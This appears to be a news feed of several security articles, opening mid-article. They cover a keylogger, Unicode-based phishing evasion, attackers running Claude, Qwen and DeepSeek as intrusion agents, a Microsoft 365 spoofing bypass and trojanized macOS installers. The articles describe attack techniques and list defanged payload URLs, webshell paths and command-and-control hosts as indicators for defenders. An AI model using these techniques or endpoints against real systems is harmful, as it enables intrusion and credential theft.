Analysts noted an apparent AI-assisted element in the new functions: repeated, similarly structured calls marked with decorative emoji labels, a pattern absent from earlier NodeStealer code.

That observation is not proof of a particular tool or author, but it suggests attackers may be accelerating routine feature development.

The malware is also distributed as compiled Python bytecode with altered header fields, apparently intended to obscure its compilation timeline and possibly interfere with automated analysis.

Security teams should ensure that inspection workflows examine Python bytecode even when its metadata looks incomplete or misleading.

Defenders should treat unusual Python-based files, unexpected browser-data access, persistent keystroke collection, and Telegram-bound archives as high-priority signals.

Reduce exposure by limiting administrator access, keeping browsers and endpoint protections updated, reviewing active sessions, and warning staff not to run untrusted attachments or downloads. Recent phishing-delivered VIP Keylogger campaigns show why these basics still matter.

People responsible for Facebook business accounts should use strong multi-factor authentication, review connected apps, and watch for unfamiliar advertising changes.

Since cookies and session data can be valuable to attackers, prompt session revocation and credential resets are important after a suspected infection.

These steps cannot undo stolen screenshots, but they can limit further account abuse and reduce the chance of costly misuse.

Indicators of compromise (IoCs):-

Type	Indicator	Description
File name pattern	keylog({ip}).txt	Temporary keystroke-log filename pattern used by the NodeStealer keylogger, with the victim IP value inserted into the name.

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post NodeStealer Can Now Record Everything Victims Type and Steal Their Screenshots appeared first on Cyber Security News.

Attackers are using invisible Unicode characters to make phishing emails appear harmless while disrupting the security systems built to spot suspicious language.

The campaign pushed finance-themed messages at massive scale, showing how a tiny change inside a word can weaken standard filtering. Recipients saw ordinary offers for funding, loans, or credit, but the underlying text was altered.

This is not malware delivered through an attachment. It is a phishing evasion method that changes how malicious text is encoded. The emails were sent in huge weekday bursts from disposable, finance-branded domains and passed through shared marketing infrastructure.

That combination gave criminals both reach and a more credible appearance, raising the risk of fraud, credential theft, and costly business mistakes.

Microsoft said in a report shared with Cyber Security News (CSN) that it identified a high-volume phishing operation abusing invisible Unicode tag characters, a tactic often called ASCII smuggling.

Researchers found the activity while examining protections for hidden prompt-injection content in email. The discovery shows that techniques first discussed around AI systems can quickly be repurposed for routine inbox attacks.

The scale was striking. Microsoft’s detection signature recorded roughly 21,000 hits on February 8, then more than 1.3 million the following day.

Activity later exceeded 2.3 million messages in a day and stayed elevated for about three months. The campaign largely followed a weekday schedule, dropping sharply during weekends before returning on Monday.

Hackers Use Invisible Unicode Characters

The attack works because the inserted characters do not normally appear on screen. A recipient sees a familiar financial term, while a filter looking for the exact text may see separate fragments instead.

This gap between visible content and machine-readable content helps attackers reduce the value of simple keyword rules, signatures, and text-based checks.

In the observed emails, criminals placed an invisible character inside high-interest financial wording rather than hiding a complete secret instruction.

The altered word still looked normal to the target, but its digital form changed enough to confuse some detection pipelines. A previously reported invisible character phishing technique illustrates how attackers have increasingly used hidden text to break up warning signs.

The method may also affect machine-learning filters. Many mail systems divide text into smaller pieces before deciding whether a message is spam or phishing.

When attackers split a familiar word with a hidden character, the system may no longer recognize the usual pattern. However, this unusual text can also become a strong signal for defenders because it is rare in legitimate email.

Microsoft linked this phase to a broader campaign using business-loan and funding lures. The campaign relied on hundreds of rotating domains assembled from a small set of finance-related words.

Its delivery method is a reminder that criminals often blend technical evasion with familiar social-engineering pressure, much like the tactics seen in a recent device code phishing campaign targeting business users.

Detection Must Look Beyond Keywords

The key defensive step is to normalize email text before applying keyword, signature, or regular-expression checks. Security teams should remove or standardize invisible and non-rendering characters in message subjects and bodies.

This ensures that a suspicious word is evaluated in the form a recipient actually sees, rather than in its deliberately fragmented version.

Defenders should also treat unexpected hidden characters as an anomaly worth investigating, while accounting for legitimate uses such as certain regional flag emojis.

A single signal should not decide whether an email is malicious. Sender reputation, authentication results, URL checks, message volume, domain behavior, and visual content analysis can provide a fuller picture.

Organizations should test their email gateways, security analytics, and AI systems to confirm that they process hidden characters consistently.

The same normalizing control can reduce exposure to both phishing evasion and prompt-injection attempts in AI tools that read email content. Recent coverage of a session hijacking phishing kit shows why layered defenses remain essential when email campaigns evolve.

Employees still play an important role. An unsolicited funding offer, loan notice, or credit-line message should be checked carefully before a link is opened or credentials are entered.

Security teams should review abrupt changes in mail volume and new finance-themed sender domains, especially when several signals appear together.

The broader rise in inbox threats was also reflected in Microsoft’s email phishing threats report, underscoring that phishing remains a high-volume and adaptable risk.

Indicators of compromise (IoCs):-

Type	Indicator	Description
Content pattern	U+E0000-U+E007F	Unicode Tags block used to insert invisible characters into phishing text
Content pattern	U+E0020	Unicode TAG SPACE observed spliced inside high-signal financial keywords
Sender domain	guardiangrowthfunding[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	digitalcapitalboost[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	thebusinessloanexpress[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	yourlocfunding[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	advancefundingboost[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	guardiancapitalway[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	harboradvancefunding[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	unitedfundingwave[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	directcapitalboost[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	onlinedirectfinance[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	catalystcapitalharbor[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	rocketboostfunding[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	digitalrushcapital[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	guardianloccapital[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	guardianlocchoice[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	ourbusinessloans[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	directcapitalpulse[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	catalystboostfunding[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	elevatecapitalrush[.]com	Finance-themed sender domain observed on February 9, 2026
Sender domain	fundingexpresscapital[.]com	Finance-themed sender domain observed on February 9, 2026
Sender pattern	em-<digits>.<brand-domain>	Envelope sender pattern associated with the campaign’s mail relay
Infrastructure pattern	acems<N>[.]com	Shared sending-pool domain pattern used in campaign delivery
Infrastructure pattern	emsd<N>[.]com	Shared sending-pool domain pattern used in campaign delivery
Infrastructure domain	activehosted[.]com	Shared click-tracking domain found in campaign messages
Infrastructure domain	acemlnd[.]com	Shared click-tracking domain found in campaign messages
URL pattern	hxxps://<account-id>.acemlnd[.]com/<tracking-token>	Observed click-tracking URL structure
URL pattern	hxxps://<brand-subdomain>.activehosted[.]com/<tracking-token>	Observed click-tracking URL structure
IPv4 range	173.236.20[.]0/24	Shared email-marketing infrastructure range used as a corroboration and scoping signal, not a standalone block indicator

Audit the Mirage2FA attack: a session-hijacking checklist for your M365 security team

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Hackers Use Invisible Unicode Characters to Evade Phishing Detection in Millions of Emails appeared first on Cyber Security News.

Hackers have turned commercial AI models into working parts of a cyberattack operation. The campaign paired AI-directed tasking with familiar methods such as vulnerable public-facing servers, stolen credentials, webshells, and custom remote-access malware.

The operation reached Taiwan’s Kuomintang Party History Archives, Indonesia’s Ministry of Foreign Affairs, and government and education networks in mainland China.

A confirmed breach hit a Fengtai District government environment, exposing administrative and health records, collecting Windows credentials, and deploying implants.

Analysts at Hunt.io identified the activity after examining exposed attacker directories and tracing a shared SOCKS proxy across five connected workspaces.

Hunt.io said in a report shared with Cyber Security News (CSN) that the operators linked infrastructure, reusable accounts, SecFlow files, and GLUTTON payload material.

The findings show a practical shift in how intrusions can be managed. AI did not create the underlying security flaws, but it helped divide work, retain context, and coordinate actions at speed.

It reinforces the need for rapid patching, exposure management, credential protection, and review of unusual web-server activity.

Hackers Turn Claude, Qwen and DeepSeek Into AI Agents

The operators used a framework called SecFlow to turn a broad objective into smaller jobs for specialist AI workers.

Claude, Qwen, and DeepSeek profiles could be selected without changing the task interface, allowing the system to assign reconnaissance, exploit testing, data collection, and reporting across a shared workspace.

SecFlow connected those workers to target details, storage, proxy routes, and tool permissions. The setup included private model relays under niestools.com alongside official provider routes.

It gave later workers earlier results, so one target could quickly develop into coordinated activity. The campaign nevertheless remained grounded in conventional intrusion tradecraft.

Workers used public proof-of-concept code, credential testing, vulnerable applications, webshells, and a custom implant named SecBox.

Readers can compare this operating model with earlier Claude DeepSeek intrusion reporting, which documented commercial models embedded in a separate China-linked campaign.

A claimed Apache Shiro success was not supported by the recovered evidence, yet it was carried into later instructions and triggered more than 27 unsuccessful GLUTTON follow-up tests.

AI coordination can therefore multiply an operator’s speed, but it can also spread an early mistake through the entire workflow.

From Exposed Servers to Data Theft

The Fengtai intrusion began through an Office Automation application that accepted uploaded ASPX files.

Attackers used server-side command pages to run Windows commands, map internal systems, attempt privilege escalation, pull LSASS memory and registry hives, query databases, and move data through ordinary HTTP requests.

They also inserted a privileged application account and staged SecBox, a Go-based remote-access and network-pivot tool. The implant could execute commands, transfer files, scan ports, proxy traffic, and use replacement command-and-control routes.

This blend of webshell access and endpoint tools illustrates why web server attacks need monitoring beyond initial exploit alerts.

Elsewhere, an exposed education AI management service disclosed agent settings, secrets, conversations, and student profile data.

The researchers confirmed use of leaked credentials against a production API and an unauthenticated request to create an agent configuration, but did not confirm a full server takeover. This distinction matters for impact assessment.

A separate fake MySQL service targeted unsafe Java object processing, using an outbound database connection to deliver a Linux second stage.

The group also tested Shellshock, Spring4Shell, Ghostcat, Log4Shell, Grafana, Nexus, Nacos, and Shiro paths. Similar risks are explored in AI agents breach government systems, where parallel agents accelerated reconnaissance and credential attacks.

Organizations should patch internet-facing software promptly, remove exposed directories, restrict administrative interfaces, rotate exposed credentials, and inspect web servers for unexpected ASPX, JSP, PHP, or image-based loaders.

Teams should also watch for outbound connections to the listed infrastructure, review authentication and application logs, and validate automated security findings before acting on them.

Guidance on agents rebuilding failed malware tools further underlines why defenders need behavior-based detection, not only static signatures.

Network segmentation and least-privilege access can further limit the damage if a public application is compromised. Exercises also shorten containment time.

Indicators of compromise (IoCs):-

Type	Indicator	Description
IP address	81.70.240[.]170	Exposed SecFlow workspace, AI execution host, SSH jump host, and egress point
IP address	43.99.61[.]170	Java/CAS exploitation workspace containing GLUTTON tooling and JNDI listener
IP address	152.42.200[.]25	Shellshock and credential-testing workspace with callback listener
IP address	129.211.184[.]149	Payload-distribution, command-and-control, and post-exploitation store
IP address	159.223.64[.]67	Fake MySQL deserialization server, scanner, and callback tooling host
Network endpoint	129.211.184[.]149:64288	Primary SecBox command-and-control endpoint embedded in Windows builds
Network endpoint	129.211.184[.]149:8443	SecBox controller backend and payload-distribution service
Network endpoint	158.247.234[.]124:18000	SecBox dead-drop-resolver TCP and WebSocket redirector
Network endpoint	207.148.109[.]245:18000	Earlier plaintext SecBox dead-drop-resolver redirector
Network endpoint	103.45.65[.]93:35888	Shared authenticated SOCKS5 route
Network endpoint	43.162.217[.]10:35888	Primary authenticated SOCKS5h route configured in SecFlow
IP address	211.159.155[.]240	SecFlow gateway
URL	hxxp://129.211.184[.]149:8443/999b4e8c/public/dnc/a6d28ebe?os=<os>&arch=<arch>	Linux second-stage payload download endpoint
URL	hxxp://158.247.234[.]124:18000/c22.exe	Windows payload download endpoint used to stage fw.exe
URL	tcp://imported-concerns-listening-typing[.]trycloudflare[.]com:443	Short-lived SecBox dead-drop-resolver TCP route
URL	tcp://marriage-step-wave-heavy[.]trycloudflare[.]com:443	Short-lived SecBox dead-drop-resolver TCP route
URL	wss://wins-say-charm-social[.]trycloudflare[.]com/c2	Short-lived SecBox secure WebSocket route
URL	ws://158.247.234[.]124:18000/	SecBox WebSocket redirector route
Domain	.niestools[.]com	Operator-controlled domain family used for model relays, AI gateways, proxy management, documentation, and GLUTTON authorization
Domain	claude.niestools[.]com	Private Claude API relay configured in SecFlow
Domain	deepseek.niestools[.]com	Private DeepSeek-compatible API relay configured in SecFlow
Domain	glutton.niestools[.]com	Hardcoded GLUTTON MCP authorization domain
Domain	proxy.niestools[.]com	Proxy-pool management console
Domain	chatgpt.niestools[.]com	Sub2API AI gateway host
Domain	wiki.niestools[.]com	Observed subdomain in the operator-controlled domain family
Filename	agent_new.out	Windows SecBox-compatible multiprotocol implant
SHA-256	20a8ed7d235cf6419e2d4b1e439595ef96961adaecf3c990c5cd507eb4a74ca4	Hash for agent_new.out
Filename	e6475722.exe / v11.exe	Windows SecBox payload staged as C:\Windows\Temp\v11.exe
SHA-256	0b3d76cf1ac6648d4cfbe39c8fea67c6b28a361ea6de86a92cc7d54a0181cc9e	Hash for e6475722.exe / v11.exe
Filename	av2_chk_cn-44.exe and aliases	Windows implant with deceptive syscfg.exe internal-name metadata
SHA-256	3c9b2ec423f91642d2d09031d47e50d7ebe77a8b12ec5e393405f85da11a0f6a	Hash for av2_chk_cn-44.exe
Filename	bf57c009.bin	Linux SecBox-compatible implant variant
SHA-256	4ecbdaedf9040dbbb33ce7a96ad961dce0f3ffb2c41285606a27a7c5ab3d2273	Hash for bf57c009.bin
Filename	c22.exe / fw.exe / fw_c049574c.exe	Windows implant associated with the c22.exe to fw.exe deployment chain
SHA-256	eef30bb6834bf349d1b1f4401aa0b8e73631ea632a884c6498a5b3a9e069d412	Hash for c22.exe / fw.exe / fw_c049574c.exe
Filename	cmd.aspx	Victim-side HTTP command shell that executes commands through cmd.exe /c
Filename	down.aspx	Arbitrary-file range reader supporting resumable binary exfiltration
SHA-256	dcd59349bd6cc29e59da5105f2f08f606ece8dfac4e369e052eca1786450f541	Hash for down.aspx
Filename	downx.aspx	Arbitrary-file reader applying XOR with key 0xAA
SHA-256	135b33b289d481d60fa2527aeae5882d33adcb6756df89ea7684f4af3567b141	Hash for downx.aspx
Filename	extract.aspx	LSASS-dump scanner for username and NT-hash material
SHA-256	9ef85857ed2b53a23eb41ce5769b4fb5b8b2225404b227a776520771df86706e	Hash for extract.aspx
Filename	sqldump.aspx	Office Automation database reconnaissance and extraction payload
SHA-256	797676d3becc124bb6705ebd76189e8decedae3abf978434d730459133351064	Hash for sqldump.aspx
Filename	sql6.aspx	Base64-encoded arbitrary SQL interface
SHA-256	af6404a125d1e4eb67425ec17f2abeec7242fb6f7377de739e47cb7f5d147eee	Hash for sql6.aspx
Filename	doc_helper.aspx / doc_view_666b2dde.aspx	Duplicate file-management webshells enabling arbitrary file operations
SHA-256	053c8dfb147262aaedf0d9cdce631ad73cfd5b1a808114c12bbe5adfe4796302	Hash for doc_helper.aspx and doc_view_666b2dde.aspx
Filename	dl_e6.aspx	Loader that copies e6475722.exe to C:\Windows\Temp\v11.exe and attempts execution
SHA-256	80d778c9d9e44896f08b1a196254527e39da4e8ce5edebf8d296b7dec6b7b3e0	Hash for dl_e6.aspx
Filename	dl_v11.aspx	Downloader that copies e6475722.exe to C:\Windows\Temp\v11.exe
SHA-256	f7c233df3423912296a4e78dd1fa7a1f6412606177336be0762961c93e8fae3c	Hash for dl_v11.aspx
Filename	dl_icn.aspx	Downloader that retrieves c22.exe and writes it as C:\Windows\Temp\fw.exe
SHA-256	548df87041ea2cbe99fc519fd89c5b7cdfe935d87a803a80a5f747aa9f076091	Hash for dl_icn.aspx
Filename	launchfw.aspx	Loader that downloads c22.exe as fw.exe and executes it through Process.Start and WMI
SHA-256	79cc5855375b5c840bae8263dc3dc5a9fd9cbd7920ab4ed65d407fd830d3eda1	Hash for launchfw.aspx
Filename	potato4.aspx	EFSRPC named-pipe token-impersonation and privilege-escalation payload
SHA-256	a407f540f4eb0c8fae5cd83fa6e210df6c4ed7fca6aedb6ebc5efbf031989ac4	Hash for potato4.aspx
Filename	cb1_glutton.bin	Primary Tomcat or Undertow GLUTTON injector
SHA-256	00759d29178baabcbe9682a953c64e179fd24d86dac0d6abdc8e5070216923f2	Hash for cb1_glutton.bin
Filename	cb1_glutton_wl.bin	WebLogic or CAS ticket-interception GLUTTON variant
SHA-256	f51ab15a89155ce4d3bcd0a65cf6a3ccf62115f502e0863c19baf93d11c57acc	Hash for cb1_glutton_wl.bin
Filename	cb1_redis_glutton.bin	Redis-assisted GLUTTON payload writer
SHA-256	853222ffdcc74dd606f6ff79ff353ce3626d50e54e9aa1a87fb03e2121e82aaf	Hash for cb1_redis_glutton.bin
Filename	MethodInvoker.class	Tomcat or Undertow in-memory filter component
SHA-256	218d8508c2035c78b49d33e087e33643f4f906af5694be68cf939f17fa4b5ffd	Hash for MethodInvoker.class
Filename	confusion_d0c41072a0dc784c.jsp	Obfuscated JSP loader for PNG-carried in-memory payloads
SHA-256	2deac4ab60f6cb1bb65fa4df5dbd9dcf7b7bc27e16bea55c3ddbe47154720277	Hash for confusion_d0c41072a0dc784c.jsp
Filename	confusion_d0c41072a0dc784c_nodejs.html	Obfuscated Node.js loader for PNG-carried in-memory payloads
SHA-256	e6ee24c6775867714d1e4b586d75c0168e61ba49b36e0a29b73cbc925df6ae47	Hash for confusion_d0c41072a0dc784c_nodejs.html
Filename	CommonsBeanutils1.bin	Java deserialization payload used to download a second-stage implant
SHA-256	1c00ce5354c91a9db878e2b4db750c2a74140e0d15aeac9b8cecf4599598b736	Hash for CommonsBeanutils1.bin
Filename	CommonsCollections6.bin	Java deserialization callback and second-stage downloader payload
SHA-256	27fae1b7be68b0c27c5dad33aaed9de5b38406fb20b971757b6be386e3ffc7a6	Hash for CommonsCollections6.bin
Filename	Spring1.bin	Spring gadget-chain downloader delivered through the fake MySQL workflow
SHA-256	77f5b5321e2f5c18b3c610e50084b98201fb6214e13665cc49da5afbf3f49611	Hash for Spring1.bin
Filename	fakeserver_new.py	Fake MySQL-compatible service used for deserialization-based initial access
Filename	xor_bd.py	XOR-encoded webshell client used against an Indonesian Foreign Ministry URI
Filename	deploy_all.sh	Script used to deploy PHP webshells masquerading as WordPress files
File path	wp-content/plugins/class-wp-settings.php	PHP webshell masquerading as a WordPress plugin file
File path	wp-content/cache/cache-main.php	PHP webshell masquerading as a WordPress cache file
File path	wp-content/uploads/maintenance-check.php	PHP webshell masquerading as a WordPress maintenance file
File path	wp-includes/class-wp-l10n.php	PHP webshell masquerading as a WordPress core file
XOR key	d0c41072a0dc784c	Recovered repeating key used by GLUTTON PNG-carried webshell loaders
Byte sequence	FF 88 00	Payload-end marker searched by GLUTTON PNG-carried loaders

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Hackers Turn Claude, Qwen and DeepSeek Into AI Agents for Real-World Cyberattacks appeared first on Cyber Security News.

Microsoft 365 users are facing a phishing technique built on a small change: attackers leave the SMTP envelope sender blank.

The omission can let an unauthenticated message pass a Direct Send safeguard while showing employees an address that appears to belong to their own organization.

The approach is not a Microsoft software flaw and does not need a stolen account. It exploits how Exchange Online’s RejectDirectSend control checks the domain in the envelope sender, rather than the address displayed in the visible From field.

That difference offers criminals a simple route to impersonation. It removes a barrier designed to stop an especially risky form of spoofed mail.

Researchers at ReliaQuest identified the pattern in active phishing cases and reproduced it in a controlled Microsoft 365 tenant.

Reliaquest said in a report shared with Cyber Security News (CSN), the company said the technique had appeared repeatedly across unrelated organizations during the past year. A convincing internal-looking email can carry a document notice, payment request, or voicemail lure.

Even if mail filters detect some attempts, any message that reaches a recipient creates an opening for credential theft, malware delivery, fraudulent transfers, and wider account compromise.

Microsoft 365 Phishing Technique Uses Empty Envelope Sender

Direct Send allows devices and applications to send mail within the same Microsoft 365 tenant without authentication. Earlier coverage of Microsoft 365 Direct Send documented attackers imitating internal users without compromising an account.

RejectDirectSend is meant to reject unauthenticated Direct Send mail claiming to come from an organization’s accepted domain. ReliaQuest sent two messages to a tenant’s mail host.

The message using the tenant domain in its envelope sender was rejected, but one using the SMTP command MAIL FROM:<> was accepted and queued.

The recipient still saw the same internal IT support address in the visible From field. Since the empty sender holds no domain, RejectDirectSend has nothing to compare with the tenant’s accepted domains.

The control therefore does not apply its rejection condition, although the message came from an unauthenticated external source.

Acceptance does not mean inbox delivery. Microsoft 365 marked the test message anonymous, gave it a Spam Confidence Level of 9, and sent it to Junk Email after SPF and DKIM returned no result and DMARC failed.

Yet filtering outcomes can differ based on content, infrastructure, configuration, and trusted-sender exceptions. In one case, a message that failed every sender-authentication check was classed as high-confidence phishing but reached an inbox because the spoofed executive was an allowed sender.

Organizations following email authentication configuration guidance should also review exceptions that can override checks.

Targeting and Defensive Steps

ReliaQuest examined examples from September 2025 to August 2026 targeting executives, managers, finance staff, procurement teams, and customer-facing roles. These people regularly handle invoices, bids, shared files, and payment instructions, making business language convincing.

File-sharing notices were most common, followed by payment and remittance requests, procurement invitations, loan or investment offers, and meeting invitations. Some messages used SVG attachments disguised as voicemail recordings.

That approach echoes coverage of weaponized SVG phishing files, which can trigger browser redirection rather than act as images. Security teams should retain RejectDirectSend but not view it as a complete defense.

An IP-restricted inbound connector permits unauthenticated Direct Send only from approved devices and applications. It blocked every Direct Send attempt, including those with a blank sender envelope.

Administrators should identify systems that truly need Direct Send and tightly restrict approved source IP addresses.

Remove unjustified filtering exceptions, including allowed senders, allowed domains, safe-sender entries, and rules that change spam scores. Previous internal email spoofing cases show why trusted routes and permissive rules need scrutiny.

Finally, defenders should search for an empty envelope sender paired with a visible From address in an accepted internal domain, which differs from bounce mail. Prioritize alerts where SPF, DKIM, or DMARC also failed but delivery occurred through an override.

Employees should verify unexpected payment, document, or access requests using a known channel before acting. This check should occur first before responding or opening attachments.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Microsoft 365 Phishing Technique Uses Empty Envelope Sender to Evade Direct Send Blocking appeared first on Cyber Security News.

Mac users are being targeted with 14 fake application installers that appear to offer familiar software but instead start a credential-stealing remote-access trojan.

The files were distributed as macOS disk images and installer packages, giving attackers another route into systems used by developers and job seekers.

The activity is tied to the long-running Contagious Interview campaign, in which attackers pose as recruiters and send coding tests, repositories or packages to prospective candidates.

This latest wave moves the lure outside the usual developer workflow and hides the infection inside software installers.

Jamf Threat Labs identified the installer cluster and linked its staging infrastructure to earlier Git-hook and Visual Studio Code task-file attacks.

The final payload is OtterCookie, a remote-access trojan that can take browser and cryptocurrency-wallet credentials, search for sensitive files and monitor clipboard data.

The risk is not limited to a single fake download. A victim who bypasses macOS warnings can unknowingly launch a decoy application while the hidden program retrieves later stages in the background.

Jamf said in a report shared with Cyber Security News (CSN) that it gives operators a path to valuable account data and a channel for commands on the affected Mac.

Security teams should treat reports of unsolicited interview software as possible security incidents, especially when applicants are asked to disable safeguards, run terminal commands, or install a package outside normal distribution channels.

14 Fake macOS Installers Linked to DPRK Campaign

The 14 samples impersonate applications including The Unarchiver, Presentify, PDFify, Magic Disk Cleaner, Sketch, SiteSucker Pro, RAR Extractor Max, Mp3tag, Mole, HextEdit, Folder Preview Pro, Disk Doctor Pro, ServerCat and Bartender.

Researchers found both DMG and PKG versions, all lacking a valid signature and notarization. In the disk-image route, attackers changed the app configuration so a hidden executable named .macos runs when the user double-clicks the bundle.

It removes the quarantine attribute from the real app, opens that app as a decoy, then contacts a staging server. This tactic echoes malicious Git hook attacks that used job-related coding work to trigger malware.

The package route uses a different wrapper but reaches the same destination. The unsigned installer places a preinstall script under Application Support, while a postinstall script launches it.

That script fetches the next stage and attempts to clear the protection flag from the installed application. The hidden executable is built for Intel processors, so Apple-silicon Macs need Rosetta 2 before it can launch.

The dependency is notable because researchers have previously documented x86-64 macOS malware delivery designed around Rosetta 2, but it does not remove the need for victim interaction in this case.

Job Lures Expand Attack Chain

The first downloaded script creates a concealed ~/.task folder and retrieves tokenlinux.sh. The next script downloads Node.js, a malicious parser.js file and supporting components, runs an installation command, and launches the final program.

Later retrieval requests carry short-lived signed tokens that appear designed to track the session and control access to each stage.

OtterCookie contains a Socket.IO-based remote-access component, a browser and wallet credential stealer, an in-memory file scanner and a clipboard collector.

Its use is consistent with OtterCookie hidden in SVGs, another campaign that targeted developers through a seemingly legitimate project.

The samples may reflect active testing or early development because they do not run by default. Still, the combined social engineering and staged delivery show why a security warning should not be treated as a routine obstacle.

Users should obtain Mac software only from trusted sources, verify a developer signature where possible, and avoid removing the quarantine attribute merely to make an unfamiliar app run.

Organizations should keep threat prevention, advanced detection and web controls enabled to block and report similar activity, particularly for staff handling interview assignments or external code.

The campaign also reinforces the need to review repositories, package scripts and unexpected installers before execution.

Earlier fake interview malware campaigns show that the same recruitment pretext can be adapted across platforms, while this variant demonstrates that familiar Mac app names remain effective bait.

Indicatprs of compromise (IoCs):-

Type	Indicator	Description
IP address	162.0.239[.]85	Staging C2 server, port 3000
IP address	147.124.202[.]205	OtterCookie operator C2 server using ports 7671, 7676 and 7679
Domain	w3pi[.]social	Domain resolving to the staging host
Domain	miniapp.w3pi[.]social	TLS certificate common name associated with the staging host
Domain	softcus[.]net	Domain resolving to the staging host
Domain	pobelstudio[.]com	Domain resolving to the staging host
Domain	pobel[.]studio	Domain resolving to the staging host
Domain	kikaiverse[.]com	Domain resolving to the staging host
Domain	lalitae[.]com	Domain resolving to the staging host
URL	hxxp://162.0.239[.]85:3000/task/mac?token=30621301	First-stage payload retrieval
URL	hxxp://162.0.239[.]85:3000/task/tokenlinux?token=30621301&st=<JWT>	Second-stage script retrieval
URL	hxxp://162.0.239[.]85:3000/task/parser?token=30621301&st=<JWT>	OtterCookie parser retrieval
URL	hxxp://162.0.239[.]85:3000/task/package.json	Malicious Node.js package configuration retrieval
URL	hxxp://147.124.202[.]205/api/service/makelog	OtterCookie operator endpoint
File path	~/.task/tokenlinux.sh	Downloaded second-stage shell script
File path	~/.task/node-v20.11.1-darwin-x64/	Downloaded Node.js runtime directory
File path	~/.task/node-v20.11.1-darwin-x64/bin/parser.js	OtterCookie JavaScript payload
File path	~/.task/node-v20.11.1-darwin-x64/bin/package.json	Malicious Node.js package file
File path	~/.task/node-v20.11.1-darwin-x64/bin/scdata	Remote-access trojan component
File path	~/.task/node-v20.11.1-darwin-x64/bin/ldata	Credential-stealing component
File name	Mole/Contents/MacOS/.macos	Hidden executable launched from the trojanized Mole application
SHA-256	ab5e0684869238c1a1cabadfa0b2e4351490a6343d210ad09c09455ed352b338	The Unarchiver 4.3.9.dmg
SHA-256	0e12f41c2d3d2e48b5a004bff4c126bf8e907bc6c20648f3844ed4ebad126a29	Presentify 8.1.2.dmg
SHA-256	01955691147a036e2104a16f9c3b34d11cb3304e184ed9d533325705599b876b	PDFify 5.2.dmg
SHA-256	9ff8a6e839ebfaa185fbd53c35f1e671fe9ce6851738df07d086cae67db3e06a	Magic Disk Cleaner 5.0.2.dmg
SHA-256	f5686109776f83123d30568e552708a7ad78964396d0f3bfd37d0332f44f8ad6	Sketch2026.2.dmg
SHA-256	d9f6c4e60ca24364751e9a3f1550f3600726cb5d185407bc82078aa95ef09e53	SiteSucker Pro 6.1.8.dmg
SHA-256	fab2e8e1ac22c5d14fd6531efe4e8e05ca9246786154b2d2f3b7f425777f4818	RAR Extractor Max 13.8.dmg
SHA-256	24a252e72d767d62f3076f4f59780511288ea9eedd0e30f234c9cdd5b7644cbf	Mp3tag 1.13.0.dmg
SHA-256	1abbdeee6d03894c0c53240f7ba873fadf9367e312ada1d280420bc88f986e91	Mole 1.8.0.dmg
SHA-256	ed3cfda8fcd1936777e3ebabb9a307325c4c2cd793416386c80bf906e4df279b	HextEdit 1.0.7.dmg
SHA-256	08425172a2dc19516ba9a3fcca8a0a789962d9b95d1792974f69c086ee64aec9	Folder Preview Pro 2.11.1.dmg
SHA-256	7030b07575e3c6558fecfd1cabc7463f10c7ca37262da7e57221a85464b7982d	Disk Doctor Pro 1.0.25.dmg
SHA-256	46d382b234dcd63e66b17799b2e6cefe24ae60e10bef758c6ccf8e72ba0aaa6c	ServerCat 26.8.0.dmg
SHA-256	d55d6419b20e7bf07025d3e464cd4bc05bc96216bf5f85dd7f9a4cbdba10d8ea	Bartender 6.6.2.dmg
SHA-256	3a7fedfeb42f13b2c368c195ec83b8e8c952df7fd506133210868f3eeb06b51d	The Unarchiver 4.3.9.pkg
SHA-256	5ab8c5808cc00825c608027d7da8611a5386de65a724fed999828310b3cb4ddb	RAR Extractor Max 13.8.pkg
SHA-256	3cda9d3522d471a0018bc58499a424f8084b29e21776d8d63d09fe2d7eca4b49	EzyCal 2.6.pkg
SHA-256	6b33812538be1983c94cedc82f480fd98b7ccdd3df7fa4fda863262818d07ba1	Mp3tag.pkg
SHA-256	791f2c56e945a2b6e99d93b10e6f42c383aa9a083ae98fc74f8720f92789c645	Disk Doctor Pro.pkg
SHA-256	e328e5ecf66ac5989aa5f8fb2a7c742d475647b53c929df544b6128db16750d6	Mole.pkg
SHA-256	0d306f347999e02cbbe41d6ff1c47aecbc994213b3cc65bbf4aa723469e6e5ab	SiteSucker Pro 6.1.8.pkg
SHA-256	89d36570b91f59f78eaaafba19e91032dce3e6b42d4b7905d38724399bb8c8c2	HextEdit.pkg
SHA-256	f9e29c72088f4a7f7789755cd08057f0125c42b352187951623d9290ed0ace1f	Hidden .macos executable
SHA-256	0882bb158878a1ca19320f5160dc93f4608c862f3ab652671bb92a82b2f1eb39	/task/tokenlinux.sh
